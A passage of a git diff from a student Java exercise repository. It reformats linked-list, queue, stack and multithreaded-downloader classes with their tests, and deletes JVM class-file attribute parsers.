-	MyLinkedList newList = new MyLinkedList();
-
-	while (p1 != null && p2 != null) {
-	    while (((int) p1.data < (int) p2.data) && p1.next != null) {
-		p1 = p1.next;
-	    }
-	    while (((int) p1.data > (int) p2.data) && p2.next != null) {
-		p2 = p2.next;
-	    }
-	    if (p1.data == p2.data) {
-		newList.add(p1.data);
-		p1 = p1.next;
-		p2 = p2.next;
-	    }
-
-	    if (p1 == null && p2 == null)  { // 若最后两个元素相等
-		break;
-	    }
+	
+	public static void Print(MyLinkedList myList)
+	{
+		Iterator it = myList.iterator();	
+		System.out.println("对链表中的元素进行打印：");
+		while(it.hasNext())
+			System.out.print(it.next() + " ");
+		System.out.println("");
+		System.out.println("当前元素个数： " + myList.size()); 
+		System.out.println("");
 	}
-	return newList;
-    }
-
-    public static void Print(MyLinkedList myList) {
-	Iterator it = myList.iterator();
-	System.out.println("对链表中的元素进行打印：");
-	while (it.hasNext())
-	    System.out.print(it.next() + " ");
-	System.out.println("");
-	System.out.println("当前元素个数： " + myList.size());
-	System.out.println("");
-    }
 
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
index 3d6cd9df0a..9b713eaea9 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyQueue.java
@@ -3,38 +3,52 @@
  * 实现简单的队列
  */
 package com.github.HarryHook.coding2017.basic;
-
 import java.util.*;
-
-public class MyQueue {
-    private MyArrayList elementData = new MyArrayList();
-    private int size = 0;
-
-    // 入队
-    public void enQueue(Object o) {
-	elementData.add(o);
-	size++;
-    }
-
-    // 出队
-    public Object deQueue() {
-	if (isEmpty()) {
-	    throw new NoSuchElementException();
+public class MyQueue 
+{	
+	private MyArrayList elementData = new MyArrayList();
+	private int size = 0;
+	//入队
+	public void enQueue(Object o)
+	{		
+		elementData.add(o);
+		size++;
+	}
+	//出队
+	public Object deQueue()
+	{
+		if(isEmpty())
+			throw new NoSuchElementException();
+		Object Data = elementData.remove(0);
+		size--;
+		return Data;
+	}
+	//判断队列是否为空
+	public boolean isEmpty()
+	{
+		return size() == 0;
+	}
+	//队列中元素个数
+	public int size()
+	{
+		return size;
+	}
+	public static void main(String[] args)
+	{
+		MyQueue mq = new MyQueue();
+		mq.enQueue(1);
+		mq.enQueue(2);
+		mq.enQueue(3);
+		mq.enQueue(4);
+		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
+		System.out.println("队列中元素个数： " + mq.size());
+		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
+		System.out.println("队列中元素个数： " + mq.size());
+		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
+		System.out.println("队列中元素个数： " + mq.size());
+		System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
+		System.out.println("队列中元素个数： " + mq.size());
+		//System.out.println("队列出栈，出栈元素为： " + mq.deQueue());
+		//System.out.println("队列中元素个数： " + mq.size());
 	}
-	Object Data = elementData.remove(0);
-	size--;
-	return Data;
-    }
-
-    // 判断队列是否为空
-    public boolean isEmpty() {
-	return size() == 0;
-    }
-
-    // 队列中元素个数
-    public int size() {
-	return size;
-    }
-
-   
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
index 2702c66a07..c7f87c04e6 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyStack.java
@@ -6,39 +6,54 @@
 
 import java.util.*;
 
-public class MyStack {
-    private MyArrayList elementData = new MyArrayList();
-    private int size = 0;
-
-    // 入栈操作
-    public void push(Object o) {
-	elementData.add(o);
-	size++;
-    }
-
-    // 出栈操作
-    public Object pop() {
-	Object obj = peek();
-	elementData.remove(size() - 1);
-	size--;
-	return obj;
-    }
-
-    // 获取当前栈顶元素，不用出栈
-    public Object peek() {
-	if (isEmpty()) {
-	    throw new EmptyStackException();
+public class MyStack 
+{
+	private MyArrayList elementData = new MyArrayList();
+	private int size = 0;
+	
+	//入栈操作
+	public void push(Object o)
+	{		
+		elementData.add(o);
+		size++;
+	}
+	//出栈操作
+	public Object pop()
+	{
+		Object obj = peek();
+		elementData.remove(size() - 1);
+		size--;
+		return obj;
+	}
+	//获取当前栈顶元素，不用出栈
+	public Object peek()
+	{
+		if(isEmpty())
+			throw new EmptyStackException();
+		return elementData.get(size() - 1);
+	}
+	//判断栈是否为空
+	public boolean isEmpty()
+	{
+		return size() == 0;
+	}
+	//返回栈内元素个数
+	public int size(){
+		return size;
+	}
+	
+	public static void main(String[] args)
+	{
+		MyStack ms = new MyStack();
+		
+		ms.push(1);
+		ms.push(2);
+		ms.push(13);
+		System.out.println("当前栈顶元素是: " + ms.peek());
+		System.out.println("出栈元素是: " + ms.pop());
+		System.out.println("出栈元素是: " + ms.pop());
+		ms.push(12);
+		System.out.println("出栈元素是: " + ms.pop());
+		System.out.println("当前栈顶元素是: " + ms.peek());
 	}
-	return elementData.get(size() - 1);
-    }
-
-    // 判断栈是否为空
-    public boolean isEmpty() {
-	return size() == 0;
-    }
-
-    // 返回栈内元素个数
-    public int size() {
-	return size;
-    }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
index 0b89de7c0a..340f79d240 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/QueueTest.java
@@ -6,28 +6,28 @@
 import com.github.HarryHook.coding2017.basic.MyQueue;
 
 public class QueueTest {
-    private MyQueue queue;
-
-    @Before
-    public void setUpQueue() {
-	queue = new MyQueue();
-    }
-
-    @Test
-    public void testQueueFunctional() {
-	assertEquals(true, queue.isEmpty());
-	queue.enQueue(4);
-	queue.enQueue(2);
-	assertEquals(2, queue.size());
-	assertEquals(false, queue.isEmpty());
-
-	int i = (Integer) queue.deQueue();
-	assertEquals(4, i);
-	i = (Integer) queue.deQueue();
-	assertEquals(2, i);
-
-	assertEquals(0, queue.size());
-	assertEquals(true, queue.isEmpty());
-    }
+	private MyQueue queue;
+	
+	@Before
+	public void setUpQueue() {
+		queue = new MyQueue();
+	}
+	
+	@Test
+	public void testQueueFunctional() {
+		assertEquals(true, queue.isEmpty());
+		queue.enQueue(4);
+		queue.enQueue(2);
+		assertEquals(2, queue.size());
+		assertEquals(false, queue.isEmpty());
+		
+		int i = (Integer)queue.deQueue();
+		assertEquals(4, i);
+		i = (Integer)queue.deQueue();
+		assertEquals(2, i);
+		
+		assertEquals(0, queue.size());
+		assertEquals(true, queue.isEmpty());
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
index 89f56d8006..26160faef6 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/StackTest.java
@@ -9,32 +9,32 @@
 
 public class StackTest {
 
-    private MyStack stack;
-
-    @Before
-    public void setUpStack() {
-	stack = new MyStack();
-    }
-
-    @Test
-    public void testStackFunctional() {
-	assertEquals(true, stack.isEmpty());
-	stack.push(4);
-	stack.push(2);
-	assertEquals(2, stack.size());
-	assertEquals(false, stack.isEmpty());
-
-	int i = (Integer) stack.pop();
-	assertEquals(2, i);
-
-	i = (Integer) stack.peek();
-	assertEquals(4, i);
-
-	i = (Integer) stack.pop();
-	assertEquals(4, i);
-
-	assertEquals(0, stack.size());
-	assertEquals(true, stack.isEmpty());
-    }
+	private MyStack stack;
+	
+	@Before
+	public void setUpStack() {
+		stack = new MyStack();
+	}
+
+	@Test
+	public void testStackFunctional() {
+		assertEquals(true, stack.isEmpty());
+		stack.push(4);
+		stack.push(2);
+		assertEquals(2, stack.size());
+		assertEquals(false, stack.isEmpty());
+		
+		int i = (Integer)stack.pop();
+		assertEquals(2, i);
+		
+		i = (Integer)stack.peek();
+		assertEquals(4, i);
+		
+		i = (Integer)stack.pop();
+		assertEquals(4, i);
+		
+		assertEquals(0, stack.size());
+		assertEquals(true, stack.isEmpty());
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
index 122c71eae6..c7b05e46c0 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/DownloadThread.java
@@ -6,46 +6,46 @@
 
 public class DownloadThread extends Thread {
 
-    Connection conn;
-    int startPos;
-    int endPos;
-    boolean downloadFinsh = false;
-
-    public DownloadThread(Connection conn, int startPos, int endPos) {
-
-	this.conn = conn;
-	this.startPos = startPos;
-	this.endPos = endPos;
-    }
-
-    public void run() {
-
-	RandomAccessFile outFile = null;
-	try {
-
-	    byte[] buffer = conn.read(startPos, endPos);
-	    // 在本地创建一个与服务器大小一致的可随机写入文件
-	    outFile = new RandomAccessFile("bd_logo.png", "rwd");
-	    outFile.seek(startPos);
-	    outFile.write(buffer);
-	    FileDownloader fileloader = new FileDownloader("");
-	    fileloader.getListener();
-
-	} catch (Exception e) {
-
-	    e.printStackTrace();
-
-	} finally {
-
+	Connection conn;
+	int startPos;
+	int endPos;
+	boolean downloadFinsh = false;
+	public DownloadThread( Connection conn, int startPos, int endPos) {
+		
+	    this.conn = conn;		
+	    this.startPos = startPos;
+	    this.endPos = endPos;
+	} 
+	
+	public void run() {	
+	   
+	    RandomAccessFile outFile = null;
 	    try {
-		outFile.close();
-
-	    } catch (Exception e) {
-
+		
+		byte[] buffer = conn.read(startPos, endPos);
+		// 在本地创建一个与服务器大小一致的可随机写入文件
+		outFile = new RandomAccessFile("bd_logo.png",  "rwd");
+		outFile.seek(startPos);
+		outFile.write(buffer);
+		FileDownloader fileloader = new FileDownloader("");
+		fileloader.getListener();
+		
+	    }catch(Exception e) {
+		
 		e.printStackTrace();
+		
+	    }finally {
+		
+		try {
+		    outFile.close();
+			
+		} catch(Exception e) {
+			
+		    e.printStackTrace();
+		}
+	
+					
 	    }
-
 	}
-    }
-
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
index 1bb64c1050..ac5b6606d4 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloader.java
@@ -5,86 +5,87 @@
 import com.github.HarryHook.coding2017.download.api.ConnectionManager;
 import com.github.HarryHook.coding2017.download.api.DownloadListener;
 
-public class FileDownloader {
-
-    String url;
-
-    DownloadListener listener;
-
-    ConnectionManager cm;
-
-    public FileDownloader(String _url) {
-
-	this.url = _url;
-
-    }
-
-    public void execute() {
-
-	// 在这里实现你的代码， 注意： 需要用多线程实现下载
-	// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-	// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos,
-	// endPos来指定）
-	// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-	// 线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-	// 具体的实现思路：
-	// 1. 需要调用ConnectionManager的open方法打开连接，
-	// 然后通过Connection.getContentLength方法获得文件的长度
-	// 2. 至少启动3个线程下载， 注意每个线程需要先调用ConnectionManager的open方法
-	// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-	// 3. 把byte数组写入到文件中
-	// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
 
-	// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-
-	Connection conn = null;
-
-	try {
-
-	    conn = cm.open(this.url);
-	    int fileLength = conn.getContentLength();
-	    int threadCount = 3;
-	    int blockSize = fileLength / 1024 / threadCount;
-
-	    for (int threadId = 1; threadId <= threadCount; threadId++) {
-
-		int startPos = (threadId - 1) * blockSize;
-		int endPos = threadId * blockSize - 1;
-		if (threadId == threadCount) {
-		    endPos = fileLength;
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		
+	    this.url = _url;
+		
+	}
+	
+	public void execute() {
+		
+	    // 在这里实现你的代码， 注意： 需要用多线程实现下载
+	    // 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+	    // (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+	    // (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+	    //     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+	    // 具体的实现思路：
+	    // 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+	    // 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+	    // 	     然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+	    // 3. 把byte数组写入到文件中
+	    // 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+	
+	    // 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		
+	    Connection conn = null;
+	    
+	    try {
+			
+		conn = cm.open(this.url);
+	        int fileLength = conn.getContentLength();
+	        int threadCount = 3;
+		int blockSize = fileLength / 1024 / threadCount;
+		
+		for (int threadId=1; threadId<=threadCount; threadId++) {
+		    
+		    int startPos = (threadId-1) * blockSize;
+		    int endPos = threadId * blockSize - 1;
+		    if (threadId == threadCount) {
+			endPos = fileLength;
+		    }
+		    
+		    new DownloadThread(conn, startPos, endPos).start();		
 		}
-
-		new DownloadThread(conn, startPos, endPos).start();
-	    }
-
-	} catch (ConnectionException e) {
-
-	    e.printStackTrace();
-
-	} finally {
-
-	    if (conn != null) {
-
+			
+	    } catch(ConnectionException e) {			
+			
+		e.printStackTrace();
+		    
+	    }finally {
+			
+		if(conn != null) {
+				
 		conn.close();
-
+	
+		}
 	    }
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		
+	    this.listener = listener;
 	}
 
-    }
-
-    public void setListener(DownloadListener listener) {
-
-	this.listener = listener;
-    }
-
-    public void setConnectionManager(ConnectionManager ucm) {
-
-	this.cm = ucm;
-    }
-
-    public DownloadListener getListener() {
-
-	return this.listener;
-    }
-
+	public void setConnectionManager(ConnectionManager ucm) {
+		
+	    this.cm = ucm;
+	}
+	
+	public DownloadListener getListener() {
+		
+	    return this.listener;
+	}
+	
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
index adf7dad676..91ddbfa6f8 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/FileDownloaderTest.java
@@ -9,52 +9,52 @@
 import com.github.HarryHook.coding2017.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
+	
+    	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	
+	}
 
-    boolean downloadFinished = false;
-
-    @Before
-    public void setUp() throws Exception {
-
-    }
-
-    @After
-    public void tearDown() throws Exception {
-
-    }
-
-    @Test
-    public void testDownload() {
-
-	String url = "https://www.baidu.com/img/bd_logo.png";
-
-	FileDownloader downloader = new FileDownloader(url);
-
-	ConnectionManager cm = new ConnectionManagerImpl();
-	downloader.setConnectionManager(cm);
-
-	downloader.setListener(new DownloadListener() {
-	    @Override
-	    public void notifyFinished() {
+	@After
+	public void tearDown() throws Exception {
+	    
+	}
 
-		downloadFinished = true;
+	@Test
+	public void testDownload() {
+		
+	    String url = "https://www.baidu.com/img/bd_logo.png";
+		
+	    FileDownloader downloader = new FileDownloader(url);
+
+	    ConnectionManager cm = new ConnectionManagerImpl();
+	    downloader.setConnectionManager(cm);
+		
+	    downloader.setListener(new DownloadListener() {
+		@Override
+		public void notifyFinished() {
+			
+		    downloadFinished = true;
+		}
+	    });
+
+	    downloader.execute();
+		
+	    // 等待多线程下载程序执行完毕
+	    while (!downloadFinished) {
+			
+		   try {
+			System.out.println("还没有下载完成，休眠两秒");
+			//休眠2秒
+			Thread.sleep(2000);
+		} catch (InterruptedException e) {				
+			e.printStackTrace();
+		}
 	    }
-	});
-
-	downloader.execute();
+	    System.out.println("下载完成！");
+		
 
-	// 等待多线程下载程序执行完毕
-	while (!downloadFinished) {
-
-	    try {
-		System.out.println("还没有下载完成，休眠两秒");
-		// 休眠2秒
-		Thread.sleep(2000);
-	    } catch (InterruptedException e) {
-		e.printStackTrace();
-	    }
 	}
-	System.out.println("下载完成！");
-
-    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
index 7f6a13f3e0..92b2fe1050 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/Connection.java
@@ -3,26 +3,22 @@
 import java.io.IOException;
 
 public interface Connection {
-    /**
-     * 给定开始和结束位置， 读取数据， 返回值是字节数组
-     * 
-     * @param startPos
-     *            开始位置， 从0开始
-     * @param endPos
-     *            结束位置
-     * @return
-     */
-    public byte[] read(int startPos, int endPos) throws IOException;
-
-    /**
-     * 得到数据内容的长度
-     * 
-     * @return
-     */
-    public int getContentLength();
-
-    /**
-     * 关闭连接
-     */
-    public void close();
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
index be85791a50..57368f7b35 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/api/ConnectionManager.java
@@ -1,11 +1,10 @@
 package com.github.HarryHook.coding2017.download.api;
 
 public interface ConnectionManager {
-    /**
-     * 给定一个url , 打开一个连接
-     * 
-     * @param url
-     * @return
-     */
-    public Connection open(String url) throws ConnectionException;
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
index 84a55784f7..2932ec1ddb 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionImpl.java
@@ -9,57 +9,57 @@
 import com.github.HarryHook.coding2017.download.api.Connection;
 
 public class ConnectionImpl implements Connection {
-
-    private String url;
-
-    public ConnectionImpl(String url) {
-
-	this.url = url;
-    }
-
-    @Override
-    public byte[] read(int startPos, int endPos) throws IOException {
-
-	URL url = new URL(this.url);
-	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
-	// conn.setRequestMethod("GET");
-	// 设置500毫秒为超时值
-	// conn.setReadTimeout(5000);
-	conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-	BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
-	ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
-
-	byte[] buffer = new byte[1024];
-	int size = 0;
-	while ((size = in.read(buffer)) != -1) {
-	    out.write(buffer, 0, size);
+    
+    	private String url;
+	
+	public ConnectionImpl(String url) {
+	    
+	    this.url = url;
 	}
-	byte[] b = out.toByteArray();
-	out.close();
-	in.close();
-
-	return b;
-    }
 
-    @Override
-    public int getContentLength() {
-
-	try {
-	    URL url1 = new URL(url);
-	    HttpURLConnection conn = (HttpURLConnection) url1.openConnection();
-	    return conn.getContentLength();
-
-	} catch (Exception e) {
-
-	    e.printStackTrace();
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+	
+	    URL url = new URL(this.url);
+	    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
+	    //conn.setRequestMethod("GET");
+            // 设置500毫秒为超时值
+           // conn.setReadTimeout(5000);
+	    conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+	    BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
+	    ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
+	    
+	    byte[] buffer = new byte[1024];
+	    int size = 0;         
+	    while ((size = in.read(buffer)) != -1) {         
+		out.write(buffer, 0, size);         
+	    }
+	    byte[] b = out.toByteArray();
+	    out.close();
+	    in.close();
+	    
+	    return b;
 	}
 
-	return -1;
-    }
-
-    @Override
-    public void close() {
+	@Override
+	public int getContentLength() {
+		
+	    try {
+		URL url1 = new URL(url);
+		HttpURLConnection conn = (HttpURLConnection) url1.openConnection();
+		return conn.getContentLength();
+		
+	    }catch(Exception e) {
+			
+		e.printStackTrace();
+	    }
+		
+	    return -1;
+	}
 
-    }
+	@Override
+	public void close() {
+		
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
index ee40d1e943..2ce38b1f79 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/download/impl/ConnectionManagerImpl.java
@@ -6,9 +6,9 @@
 
 public class ConnectionManagerImpl implements ConnectionManager {
 
-    @Override
-    public Connection open(String url) throws ConnectionException {
-	return new ConnectionImpl(url);
-    }
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		return new ConnectionImpl(url);
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 33b7dda5c6..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.attr;
-
-public abstract class AttributeInfo {
-    public static final String CODE = "Code";
-    public static final String CONST_VALUE = "ConstantValue";
-    public static final String EXCEPTIONS = "Exceptions";
-    public static final String LINE_NUM_TABLE = "LineNumberTable";
-    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-    public static final String STACK_MAP_TABLE = "StackMapTable";
-    int attrNameIndex;
-    int attrLen;
-
-    public AttributeInfo(int attrNameIndex, int attrLen) {
-
-	this.attrNameIndex = attrNameIndex;
-	this.attrLen = attrLen;
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
deleted file mode 100644
index 9ecd803572..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,111 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.attr;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
-import com.github.HarryHook.coding2017.jvm.cmd.CommandParser;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-import com.sun.org.apache.bcel.internal.generic.NEW;
-
-public class CodeAttr extends AttributeInfo {
-    private int maxStack;
-    private int maxLocals;
-    private int codeLen;
-    private String code;
-
-    public String getCode() {
-	return code;
-    }
-
-    private ByteCodeCommand[] cmds;
-
-    public ByteCodeCommand[] getCmds() {
-	return cmds;
-    }
-
-    private LineNumberTable lineNumTable;
-    private LocalVariableTable localVarTable;
-    private StackMapTable stackMapTable;
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
-	    ByteCodeCommand[] cmds) {
-	super(attrNameIndex, attrLen);
-	this.maxStack = maxStack;
-	this.maxLocals = maxLocals;
-	this.codeLen = codeLen;
-	this.code = code;
-	this.cmds = cmds;
-    }
-
-    public void setLineNumberTable(LineNumberTable t) {
-	this.lineNumTable = t;
-    }
-
-    public void setLocalVariableTable(LocalVariableTable t) {
-	this.localVarTable = t;
-    }
-
-    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-	int attrNameIndex = iter.nextU2ToInt();
-	int attrLen = iter.nextU4ToInt();
-	int maxStack = iter.nextU2ToInt();
-	int maxLocals = iter.nextU2ToInt();
-	int codeLen = iter.nextU4ToInt();
-
-	String code = iter.nextUxToHexString(codeLen);
-	System.out.println(code);
-
-	ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-	CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
-
-	int exceptionLength = iter.nextU2ToInt();
-	if (exceptionLength > 0) {
-	    String exceptionTable = iter.nextUxToHexString(exceptionLength);
-	    System.out.println("exception Table has not complemented" + exceptionTable);
-	}
-	// 解析子属性
-	int subAttrCount = iter.nextU2ToInt();
-
-	for (int j = 1; j <= subAttrCount; j++) {
-
-	    int subAttrIndex = iter.nextU2ToInt();
-	    String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-	    iter.back(2);
-
-	    if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
-		LineNumberTable t = LineNumberTable.parse(iter);
-		codeAttr.setLineNumberTable(t);
-
-	    } else if (AttributeInfo.LOCAL_VAR_TABLE.equals(subAttrName)) {
-		LocalVariableTable t = LocalVariableTable.parse(iter);
-		codeAttr.setLocalVariableTable(t);
-
-	    } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
-		StackMapTable t = StackMapTable.parse(iter);
-		codeAttr.setStackMapTable(t);
-	    } else {
-		throw new RuntimeException("Need implement" + subAttrName);
-	    }
-	}
-	return codeAttr;
-    }
-
-    private void setStackMapTable(StackMapTable t) {
-	this.stackMapTable = t;
-
-    }
-
-    public String toString(ConstantPool pool) {
-	StringBuffer buffer = new StringBuffer();
-	for(int i=0;i<cmds.length;i++){
-		buffer.append(cmds[i].toString(pool)).append("\n");
-	}
-	//buffer.append("Code:").append(code).append("\n");
-	buffer.append("\n");
-	buffer.append(this.lineNumTable.toString());
-	buffer.append(this.localVarTable.toString(pool));
-	return buffer.toString();
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java
deleted file mode 100644
index f3b8c91705..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-
-    private static class LineNumberItem {
-	int startPC;
-	int lineNum;
-
-	public int getStartPC() {
-	    return startPC;
-	}
-
-	public void setStartPC(int startPC) {
-	    this.startPC = startPC;
-	}
-
-	public int getLineNum() {
-	    return lineNum;
-	}
-
-	public void setLineNum(int lineNum) {
-	    this.lineNum = lineNum;
-	}
-    }
-
-    public void addLineNumberItem(LineNumberItem item) {
-	this.items.add(item);
-    }
-
-    public LineNumberTable(int attrNameIndex, int attrLen) {
-	super(attrNameIndex, attrLen);
-
-    }
-
-    public static LineNumberTable parse(ByteCodeIterator iter) {
-	int attrNameIndex = iter.nextU2ToInt();
-	int attrLength = iter.nextU4ToInt();
-	LineNumberTable table = new LineNumberTable(attrNameIndex, attrLength);
-	int itemLength = iter.nextU2ToInt();
-
-	for (int i = 1; i <= itemLength; i++) {
-	    LineNumberItem item = new LineNumberItem();
-	    item.setStartPC(iter.nextU2ToInt());
-	    item.setLineNum(iter.nextU2ToInt());
-	    table.addLineNumberItem(item);
-	}
-
-	return table;
-    }
-
-    public String toString() {
-	StringBuilder buffer = new StringBuilder();
-	buffer.append("Line Number Table:\n");
-	for (LineNumberItem item : items) {
-	    buffer.append("startPC:" + item.getStartPC()).append(",");
-	    buffer.append("lineNum:" + item.getLineNum()).append("\n");
-	}
-	buffer.append("\n");
-	return buffer.toString();
-
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index f442ea5698..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,49 +0,0 @@
